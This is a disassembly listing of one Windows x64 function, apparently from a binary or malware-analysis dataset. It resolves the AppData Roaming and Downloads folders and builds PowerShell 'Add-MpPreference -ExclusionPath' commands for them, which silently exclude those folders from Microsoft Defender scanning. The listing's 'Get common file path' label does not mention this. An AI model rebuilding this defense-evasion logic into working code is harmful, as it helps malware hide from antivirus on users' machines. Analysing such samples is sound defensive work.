Function at 0x140025fb0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140083100]
xor rax, rsp
mov qword [rbp + 0x10], rax
xor r14d, r14d
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov esi, r14d
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r14w
lea r9, [rbp - 0x80]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140067790]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rbx, 0xffffffffffffffff
movabs rdi, 0x7ffffffffffffffe
test eax, eax
jne 0x140026175
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov rdx, qword [rbp - 0x80]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140026050
lea rcx, [rbp - 0x70]
call fcn.140009570
nop
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, rdi
mov rcx, qword [rbp - 0x60]
sub rax, rcx
cmp rax, 0x22
jb 0x14002663b
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rax, qword [rbp - 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.Add_MpPreference__ExclusionPath__
lea rcx, [rsp + 0x40]
call fcn.140002030
nop
mov r8d, 2
lea rdx, [0x140076944]
lea rcx, [rsp + 0x40]
call fcn.140002170
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14002612f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026129
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026641
call fcn.1400361dc
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14002616f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002616a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026671
call fcn.1400361dc
mov rsi, qword [rbp - 0x20]
jmp 0x140026190
lea rdx, str.Failed_to_retrieve_the_full_AppDataRoaming_path.
lea rcx, [0x1400853c0]
call fcn.14002adf0
mov rcx, rax
call fcn.14002b0b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
lea r9, [rbp - 0x78]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140067780]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x140026303
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
mov rdx, qword [rbp - 0x78]
nop dword [rax]
inc rbx
cmp word [rdx + rbx*2], 0
jne 0x1400261e0
mov r8, rbx
lea rcx, [rbp - 0x50]
call fcn.140009570
nop
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, rdi
mov rcx, qword [rbp - 0x40]
sub rax, rcx
cmp rax, 0x22
jb 0x140026647
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rax, qword [rbp - 0x50]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.Add_MpPreference__ExclusionPath__
lea rcx, [rsp + 0x40]
call fcn.140002030
nop
mov r8d, 2
lea rdx, [0x140076944]
lea rcx, [rsp + 0x40]
call fcn.140002170
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400262c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400262bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002664d
call fcn.1400361dc
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14002631e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400262fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002666b
call fcn.1400361dc
jmp 0x14002631e
lea rdx, str.Failed_to_retrieve_the_Downloads_path.
lea rcx, [0x1400853c0]
call fcn.14002adf0
mov rcx, rax
call fcn.14002b0b0
sub rdi, rsi
cmp rdi, 0xa
jb 0x140026653
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rax, qword [rbp - 0x30]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
lea r9, str._Command__
lea rcx, [rsp + 0x40]
call fcn.140002030
nop
mov r8d, 2
lea rdx, [0x140076a70]
lea rcx, [rsp + 0x40]
call fcn.140002170
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.140002170
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov r8d, 1
lea rdx, [0x140073308]
lea rcx, [rbp - 0x50]
call fcn.140002170
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140026475
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026470
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026659
call fcn.1400361dc
movdqa xmm0, xmmword [0x140077360]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400264d1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400264c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002665f
call fcn.1400361dc
movdqa xmm0, xmmword [0x140077360]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140026527
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002651a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026665
call fcn.1400361dc
movdqa xmm0, xmmword [0x140077360]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
lea rcx, [rbp - 0x10]
call fcn.140025b70
nop
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14002657d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026578
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002666b
call fcn.1400361dc
movdqa xmm0, xmmword [0x140077360]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], r14w
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x1400265d0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400265ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026671
call fcn.1400361dc
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14002660c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026607
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026635
call fcn.1400361dc
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140036180
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14003c334
nop
call fcn.140001980
nop
call fcn.14003c334
nop
call fcn.140001980
int3
call fcn.14003c334
nop
call fcn.140001980
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
nop
call fcn.14003c334
int3